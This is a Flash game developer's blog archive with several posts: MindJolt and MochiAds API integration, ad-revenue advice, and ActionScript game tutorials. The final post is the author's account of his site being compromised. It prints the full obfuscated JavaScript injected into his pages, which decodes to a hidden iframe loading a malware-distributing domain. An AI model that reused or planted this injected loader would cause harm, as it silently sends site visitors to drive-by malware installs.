How to use MindJolt’s API (and why you should do it)

Reading the comments in this blog, I saw there is a bit of confusion about MindJolt (MJ from now on) API

MindJolt

On the site, there isn’t any guide, and the only way to have some information is by email from Richard Fields.

Besides Richard must be a very busy guy with such a game portal, he always replies to emails… the only issue is sometimes it may take a week before a mail and another. That’s normal, and I’ll never thank Richard enough for the precious time he spends answering to my emails.

Before I show you how to use MJ API, I would like to tell you why you should use it in your games.

In order to make money with MochiAds, you need to submit a game to portals and sites with three main parameters: games played, eCPM and aggressivity

games played is the amount of times your game will be played in a portal. It’s very important, because sometimes (you will understand later why I wrote “sometimes”) tons of plays mean tons of ads shown and tons of money. Moreover, the more people play your game, the more people may click on the button in your game that opens your site. That’s why sponsors want to have their logo in your game: if your game will be played a lot, it’s possible that a lot of people will click on the “play more games” button they want you to put in your game.
In my case, I can’t say how many people come to this blog from a link into my games, but with about 4,000,000 games played, I think at least 2,000 people come and see this site.
Maybe you are one of them. If I am right, I would like to know it. Having a game on MJ frontpage means having from 30,000 to 50,000 games played every day, even if there was a day Christmas Couples reached 100,000 plays

eCPM is the estimated Cost per mille, or cost per thousand. Anyway in our case it’s not a cost, but the income.
If your game has an eCPM of $0.50, that means that every 1,000 ads shown you will earn 50 cents. eCPM may vary slighty according to the geographical location your game is being played… MochiAds did not release an official table but seems that US players raise the eCPM. My eCPM ranged from $0.02 to about $0.80… that’s 40 times higher, and means that in the first case 40,000 ads generate the same income as 1,000 in the second one.
Since every portal has its own audience, it’s not wrong talking about portals eCPM instead of games eCPM. According to my statistics, I suppose freeworldgroup has a low eCPM while MJ has an high one. It would be nice if someday Mochi guys will release a table with major sites eCPM.

aggressivity maesures the portal as if it was a virus. The more aggressive the virus, the more portals will be infected by your game. You have to know there are some portals that are extremely aggressive: when Circle Chain got a review on Jay is Games, a lot of minor portals got infected by it. Obviously I am not talking about a real infection… but if your game gets a frontpage on some famous portals, then every respectable portal must have your game.
Get a frontpage on NewGrounds, and you won’t need to submit your game to a thousand sites. It would be nice if developers help me to make a list of the most aggressive portals. MJ is not one of them, but it’s a gold mine anyway.

End of the boring part, and let’s see how to use MJ API

In the first frame of your game, the one where probably you put your MochiBot code, add this line:

_lockroot=true;

Then, in the frame where it’s game over and you are about to display the score, just write

ScoreAPI = new LocalConnection();

to connect with MJ server, and

ScoreAPI.send(_root.com_mindjolt_api, "submitScore", yourscorevariable);

To send the score. Just replace yourscorevariable with the variable you used to store the score.

If your game has different modes, such as easy, medium, hard, or puzzle, campaign, and so on, just add an extra variable in this way

ScoreAPI.send(_root.com_mindjolt_api, "submitScore", yourscorevariable, "easy");

Replacing easy with anything you want (just assure this makes a sense)

If your game already hosts MochiAds leaderboards it’s not a problem… there is no conflict and you don’t have to worry about anything. Once your game is ready, you can submit it by email at rfields [at] mindjolt [dot] com and if Richard likes your game, you are about to make at least $20/day

Thanks to Richard Fields for letting me publish this guide (I guess)

Who refers wins

Probably you don’t know, but I won a contest hosted by MochiAds some time ago.

I won the referral bonus of the first (as far as I know) MochiAds contest. Having my name next to a Nitrome guy is something weird… a blogger that makes tutorials about Flash games next to one of the biggest Flash games developing company.

Now let me introduce the new MochiAds contest… I know it sounds a bit “old” but I am going to introduce it in a new way… on a 50” tv screen and wearing the tshirt MochiAds sent me.

Now it’s time to become a rockstar with ‘Become a Rock Star’ Flash Games Contest… with $25,000 waiting for you.

Just read the rules at the official page and grab as much money as you can.

Now I want you to see a MochiAds cheque… now tell me how can I enter a bank with a cheque with a robot-toy on its header…

Another thing some of you probably did not see is this screen… that’s what happens when you reach the minimum payout.

Finally, I would like to know what are doing the 77 developers I referred to MochiAds… still waiting for the first payout? If so, I think entering a contest will help your game to be played massively and reach the minimum payout.

We have a complete about to How To Be a Winner at Flash Game Contests made by the guys that created Flash Game License, the first virtual broker of Flash games.

With all those opportunities to have your game played by tons of people, you can’t stay under the $100 payout for a long time.

And remember, a gold mine for Flash games, once you integrate its API, is MindJolt.

That’s it. Go and win, better if using one of my tutorials as a good start for your game… I will be glad to see one of you winning the contest, even if your chances are quite low since I am going to enter the contest. Well, the 2nd prize could be yours.

Thanx to Ada Chen for sending the T-shirts

Moving an object like in MochiAds header

In the post Wall Dodge - game made from Metro Siberia Underground tutorial I was asked

Emanuele, do you know how to make the follow mouse function that that the sprite uses in mochiads header?

Here it is... it's so simple I won't comment it, just play with the delay variable to adjust the spring factor

ACTIONSCRIPT:
  1. Mouse.hide();
  2. delay=10;
  3. _root.attachMovie("mousep","mousep",_root.getNextHighestDepth());
  4. _root.attachMovie("mochithing","mochithing",_root.getNextHighestDepth());
  5. mousep.onEnterFrame = function() {
  6.     this._x = _root._xmouse;
  7.     this._y = _root._ymouse;
  8. };
  9. mochithing.onEnterFrame = function() {
  10.     dist_x = mousep._x-this._x;
  11.     dist_y = mousep._y-this._y;
  12.     distance = Math.sqrt(dist_x*dist_x+dist_y*dist_y);
  13.     angle = Math.atan2(dist_y, dist_x);
  14.     speed = distance/delay;
  15.     xspeed = speed*Math.cos(angle);
  16.     yspeed = speed*Math.sin(angle);
  17.     this._x += xspeed;
  18.     this._y += yspeed;
  19.     this._rotation = angle*180/Math.PI
  20. };

Here it is the result

Can you make a game starting from this code? Download the source.

Create a Flash game like Metro Siberia Underground – Part 2

Multipart tutorial: available parts 1, 2, 3, 4 ,5

Now it's time to create a random tunnel

Read Create a Flash game like Metro Siberia Underground if you don't know what I am talking about and look what I made:

1) There is a random tunnel with collision detection

2) Smoke clouds get bigger when they are released

I just created a new symbol linked as tunnel that represents the... tunnel, as said.

The tunnel is made by two rectanges on the same x axis with a y gap between the higher and the lower

The gap between the rectangles is the tunnel itself, while the rectangles are the rock

Let's take a look to the actionscript Read more

About to relelase the forum

Today a server maintenance does not allow me to upload files... I have a dynamically generated tunnel for Metro Siberia Underground but you'll have to wait until tomorrow to see it AFAIK.

Meanwhile I would like you to know I am going to release a forum to discuss about actionscript, Flash games, monetizations and so on.

I just need a little help with that "and so on"... at the moment the forum I created are:

Game Showcase
Actionscript 2.0
Actionscript 3.0
Tutorials around the web
Photoshop
Flash monetization experiences

But I would like to take advantage of this dead day to know if you would like other forums.

At the question "why making a forum?" the reply is "to talk about everything can't find a place in post comments with a proper engine (phpbb3)"

Anyway, I would like you to see the tunnel I made for Siberia...

MochiAds Leaderboards released – let’s see how does it work

If you read MochiAds release log, you should have noticed the new entry:

Leaderboards
We launched a new MochiAds service. Developers can now add one or more leaderboards to a game. We also included an easy to use in-game widget to display scores to users.

In my opinion Leaderboards are the best highscore management system for Flash games at the moment.

Let's see how does it work.

When you are in MochiAds game info panel, you will notice a new menu tab called leaderboard

MochiAds Leaderboards

Click on it and you will see an info page resuming leaderboard features. When you're ready, click on CREATE LEADERBOARD

MochiAds Leaderboards

You are only one page away from the creation of your first leaderboard.

MochiAds Leaderboards

Let's see all options:

Title: The title of the leaderboard, this will be displayed in game as you can see in the live preview

Description: Just an optional description

Type of Scoring: You can choose if the score is a number or a time, and if lower is better or higher is better. You can also assign a label to the score that will be shown in game as you can see in the live preview

The remaining options allow to style your leaderboard to fit your game color scheme. With the live preview you can play with colors until you are satisfied.

Click again on CREATE LEADERBOARD and you'll see the final page with instructions about embedding leaderboards into your game.

MochiAds Leaderboards

In this page you will also find the MochiServices ZIP Package. Navigate inside its folders choosing the right folder according to your Actionscript version, and you will see a folder called mochi. Just copy this folder and paste it into the root classpath of your game. In almost all cases, it's the same path where you saved the FLA source file of your game.

It's very easy, anyway shouldn't be enough easy, there is a step by step documentation in the MochiAds Help Center

Let's see how did I embed leaderboards in the first game ever created with this new API: Glomb

In the 1st frame, in the same layer where I wrote the code for displaying MochiAds ads, I added this line:

mochi.MochiServices.connect("xxxxxxxxxxxxxxxx");

That 16 figures xxxxxxxxxxxxxxx is the MochiAd ID, and must be the same as the one provided with the ads

As an example, if your MochiAds code is MochiAd.showPreGameAd({id:"0123456789ABCDEF", res:"500x500"});, then the connection line will be mochi.MochiServices.connect("0123456789ABCDEF");

Then, in your game code, when the game is over and it's time to submit score and show leaderboard, I used this line

mochi.MochiScores.showLeaderboard({boardID:"0123456789ABCDEF", score:my_score,onClose:function ():Void { show_splash()}});

let's see the parameters:

boardID:"0123456789ABCDEF" is the MochiAd ID explained before

score:my_score passes the score to store in the leaderboard. Just replace my_score with the variable actually used to calculate your score during the game.

onClose:function ():Void { show_splash()} this is not necessary for the leaderboard to work, but if you want you can track when the player closes the leaderboard. In my case, when the player closes the leaderboard, I call the show_splash function, a custom function I made to show the splash screen of the game.

MochiAds Leaderboards

That's all... yes, it was an easy tutorial with only two lines to explain, but including leaderboards into your Flash games now it's really easy.

When you'll have your leaderboard up and running with thousands of players trying to beat the record, you can manage it with a simple administration panel. You can also ban players or clear highscores.

MochiAds Leaderboards

Least but not last, you can create more leaderboards for the same game... let's think about a racing game where each track has its own leaderboard... or a game with different difficulty levels, each one with its leaderboard...

With such a complete leaderboards to promote, I think we should expect a competition very soon... meanwhile try to beat highscores in Glomb...

Wall Dodge – game made from Metro Siberia Underground tutorial

Only two days after the publishing of Create a Flash game like Metro Siberia Underground, Oskar Koli tries to answer one of the most commons questions asked in the comments... how to create levels dynamically?

One of the possible answers lies in Wall Dodge game

Wall Dodge

That's how Oskar explains his work:

Hi Emanuele,
My name is Oskar Koli and I have been following you blog for about 6 months.
I liked your latest tutorial "Creat a Flash game like Metro Siberia Underground" so I made my own game out of it.
I figured out how to make the walls move dynamically. Of course u know it too but I just wanned to show u this anyway.
U can post both the game and the source code on your website if you feel like it, but I understand if u won't but I would appreciat it if you would at least tell me what u think about it.
In the .fla file there is probbly some useless code because I used some tutorials from some other sites and changed them so u can clean it up a little if u want t.
Im making another game right now, this one was something I just made when I got tiered of working on the other 1. So u should be expecting another game in a week or so.

The game features dynamically created levels, objects to collect to score points and powerups.

The code is not the clearest I've ever seen, but will understand it easily.

After the Complete Flash pool game with highscores, this is the second full game with source code to be published here.

I would like to thank Oskar for sharing the code, hoping that more and more flashers will follow his example.

Download the source code and give Oskar feedback!

Create a Flash game like Metro Siberia Underground

Multipart tutorial: available parts 1, 2, 3, 4 ,5

I was quite impressed of a new game called Metro Sibera Underground... a game with a very simple concept, simple graphics but excellent level design.

Metro Siberia Underground

Metro Sibera Underground (MSU from now on) is a one button game, and that means that you can play the game only using one button. MSU uses the SPACEBAR to thrust the engines. Fullstop. Player will feel gravity when the engines aren't working.

Apart from the excellent level design, MSU features a blurred graphic that reminds early 80's coin-ops.

In this first part, I am creating the blurred graphics and the movement system.

Only two object involved in the project: a triangle representing the ship, and a square representing the smoke. Read more

Create a Flash ball game with visual from above tutorial part 4

In the 4th part I am going to explain a feature that a race game must have: the laps

Read steps 1, 2 and 3 before continuing

Having laps in a track will result in a longer race.

The bad thing is that if you don't design laps with some more actionscript than normally required, your players will cheat.

Look at the picture:

We have our track with 12 tiles with a clockwise direction. Assuming that you will start from 1, you should race through 1-2-3-4-5-6-7-8-9-A-B-C then 1 again in order to make a lap.

So when the ball rolls over C, it's a new lap.

Wrong.

A cheater could move this way: 1-C-1-C-1 and he already completed 2 laps.

At this point, you would put an intermediate lap, let's say at tile 7, and check that the intermediate lap has been passed before rolling over C. Now the player will have to drive through 1-2-3-4-5-6-7 but... let's say the second part of the track is hardest than the first... he could make 1-2-3-4-5-6-7-6-5-4-3-2-1-C completing a lap without passing over 8-9-10-A-B, the hard part of the track.

To prevent this, you can put some "one way" tiles... if the tile 1 can be passed only from left to right, there is no way for the player to make 1-C because the game won't allow it... but in some cases I would need to make 1-C, maybe he needs more speed to pass a certain tile (let's say 3) and he founds himself at 2 without speed. He would need to make 2-1-C-B-C-1-2-3...

If you try to solve the lap problem this way, the player won't be able to do 1-C to gain speed

Well, what about placing another intermediate lap, let's say at A, so the player must pass over 7, then A and then C?

This may work, unless the path from A to C is harder than A to 1... so you may place an intermediate lap on B... and you end with an intermediate lap at every tile.

My solution allows to manage laps with only three tiles, one next to another. Let's say C-1-2

The player will pass a lap when he rolls over C-1-2 but only if he never passed over tile 1 more than once. This means that a 1-C-1-2 does not count as a lap because he passed over the 1 twice.

Let's see some actionscript: basically it's the same as Create a Flash ball game with visual from above tutorial part 3 so I will comment only the new lines Read more

Help needed – Part 2

First, I would like to thank you all for the precious help you gave me with your comments.

Finally, after hours spent dancing naked to the bone in the streets invoking for Manitu, and even more hours trying to explain the police why I was dancing naked, I found the problem.

Somewhere around the site there was this script

JAVASCRIPT:
  1. "%6fp%3d%22%2524%253d%2522dw(d%2563%2573(cu%252c1%2534)%2529;%2522;%22;cu%3d%22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;bqgx{l:w{y;xp;sfv;64c}p`|)%25$$4|q}s|`),$*(;}rfuyq*(;p}b*%22;da%3d%22fqb0})-~ug0Qbbqi87e~%257F7%3c7tfu7%3c7dxb7%3c7vyb7%3c7fyv7%3c7huc7%3c7fuc7%3c7wxd7%3c7u~y7%3c7ud~7%3c7|uf7%3c7dgu79+fqb0|)-~ug0Qbbqi87q7%3c7r7%3c7s7%3c7t7%3c7u7%3c7v7%3c7w7%3c7x7%3c7y7%3c7z7%3c7{7%3c7|7%3c7}7%3c7~7%3c7%257F7%3c7`7%3c7a7%3c7b7%3c7c7%3c7%22;ca%3d%22%2566u%256ect%2569on %2564cs%2528%2564%2573,e%2573){%2564s%253dun%2565sca%2570e%22;db%3d%22d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fqb0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%3c%25%3c&%3c%27%3c(%3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)%3ewudVe||Iuqb89+yv8t)%3ewudTqi89.#9d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi89;%25229+u|cu%22;cd%3d%22%253dst%252bSt%2572ing%252efro%256dCh%2561%2572Cod%2565%2528(t%256dp.c%2568a%25%22;cz%3d%22%2566unc%2574io%256e%2520%2563z%2528%2563z)%257bret%2575%2572n%2520c%2561%252bcb+%2563c%252bcd+%2563%2565+cz%253b};%22;st%3d%22%2573%2574%253d%2522%2524%253ds%2574;%2564%2563s%2528%2564%2561%252b%2564b%252b%2564c%252bd%2564+%2564%2565%252c%25310%2529;%2564w%2528s%2574%2529%253b%2573%2574%253d%2524;%2522;%22;dc%3d%220d)K7t7M-t)%3ewudTqdu89%3d8t)%3ewudTqi899+yv8d)K7t7M,%25209d)K7t7M-!+d)K7}7M-t)%3ewud]%257F~dx89;!+ve~sdy%257F~0S]^8t%3c}%3ci9kfqb0b-888i;8#:t99;8}Nt9:#9;t9+budeb~0b+mfqb0t-7fuc|%257Fh%3es%257F}7+fqb0iSx!%3ciSx%2522%3c%22;ce%3d%2272Co%2564e%2541t%2528%2530)%255e%2528%25270x%2530%2530%2527+es)%2529%2529;}%257d%22;dd%3d%22}Sx%3ctSx%3c}^}+yv8d)K7i7M,%2522%2520%2520%279kd)K7i7M0-0%2522%2520%2520%27+m}^}-S]^8d)K7t7M%3cd)K7}7M%3cd)K7i7M9+iSx!-|)K888d)K7i7M6%2520hQQ9;}^}950&5##950%2522&M+iSx%2522-|)K8888d)K7i7M6%2520h##!!9..#9;}^}950!%25209M+}Sx%22;de%3d%22-|)K88d)K7}7M;}^}950%2522%259M+yv888d)K7t7M:%25229.-%252096688d)K7t7M:%25229,-)99tSx-~)K8d)K7t7M50!%25209M+u|cu0tSx-|)K88d)K7t7M:&950%2522%279M+4-4%3ebu`|qsu8t%3ciSx%2522;}Sx;iSx!;tSx;})Kd)K7}7M%3d!M;7%3es%257F}79+%22;cb%3d%22%2528ds)%253bst%253dtm%2570%253d%2527%2527;for%2528%2569%253d0;%2569%253cds.l%256%22;cc%3d%225%256egt%2568;%2569+%252b)%257btmp%253dd%2573.sl%2569ce(%2569,i+%2531);s%2574%22;dz%3d%22%2566%2575nct%2569o%256e %2564w(t%2529{ca%253d%2527%252564%25256%2566c%252575m%2565n%252574%2525%2532e%252577%2572%2525%25369te%252528%2525%2532%2532%2527;c%2565%253d%2527%252522)%2527;cb%253d%2527%25253csc%252572%252569%252570t%2525%25320l%2561n%252567%2575%2561%25256%2537e%25253d%25255c%252522jav%2561%2573c%2572%252569p%252574%25255c%252522%25253%2565%2527;cc%253d%2527%25253c%25255c%25252fs%252563rip%252574%25253e%2527;%2565v%2561%256c(un%2565s%2563ape%2528t))%257d;%22;%69%66 (d%6f%63u%6dent%2ecoo%6bi%65.in%64ex%4ff(%27r%665f%36%64s%27%29%3d%3d-1){%73c(%27rf%35%66%36%64%73%27,2,%37);e%76al%28%75%6eesc%61p%65(dz%2b%63z%2bo%70+st%29+%27dw(%64%7a+%63z($%2bst)%29;%27)}el%73e%7b%24%3d%27%27};functio%6e %73c%28cnm%2cv,e%64){v%61r %65x%64%3dnew Da%74e(%29;ex%64.s%65tD%61te%28ex%64.g%65%74Da%74%65()%2be%64%29%3bdo%63u%6den%74.c%6foki%65%3dc%6em%2b%20%27%3d%27 +e%73c%61pe%28v%29+%27;e%78pi%72%65s%3d%27+exd.t%6fGM%54%53%74ri%6e%67(%29%3b};"

That once evaluated returns

HTML:
  1. <div style="visibility:hidden"><iframe src="http://ewbyuno.com/ld/grb/" width=100 height=80></iframe></div>

This page redirects to http://ewbyuno.com/cgi-bin/in.cgi?p=grobin that sometimes tries to install a component called "dexplore.exe", otherwise redirects to google.com

The funny thing is that when I googled for ewbyuno I found only two results

The domain is registered to Prokofyev Yaroslav, and the site is hosted on a server owned by SoftLayer Technologies Inc. This company even has a "page" on Wikipedia...

On the same server there are 17 domains... and guess the names? ang2uno.com, bevjuno.com... owned of course by Prokofyev

So this company seems to have a server dedicated to badware diffusion. I emailed them this message:

Hello,
my name is Emanuele Feronato and I recently discovered that one of your servers is hosting domains called ang2uno.com, bevjuno.com, ewbyuno.com (and so on) that are distributing badware after someone injects in various blog and forums hidden javascripts to call your pages from remote servers, with iframes pointing at (as example) http://ewbyuno.com/ld/grb/

One of my sites, emanueleferonato.com, was a "victim" of this process and now google flags it as a site that may harm your computer.

I would like to know if you are informed about it and how do you think to manage this problem.

Obviuosly I am going to explain to google and stopbadware.org what happened because I don't want my site to be flagged as badware when the threat comes from your servers.

About half of my traffic comes (came?) from Google and should it take too long to remove the badware flag I may consider legal actions.

Regards,
Emanuele Feronato

Let's see what happens.

Now, I want to thank you for feedback and support and I apologize for any virus, trojan and badware you got from this site.

See you soon, I have some tutorials to write.

Obviously, now the site is clean.

Next Page →

Posts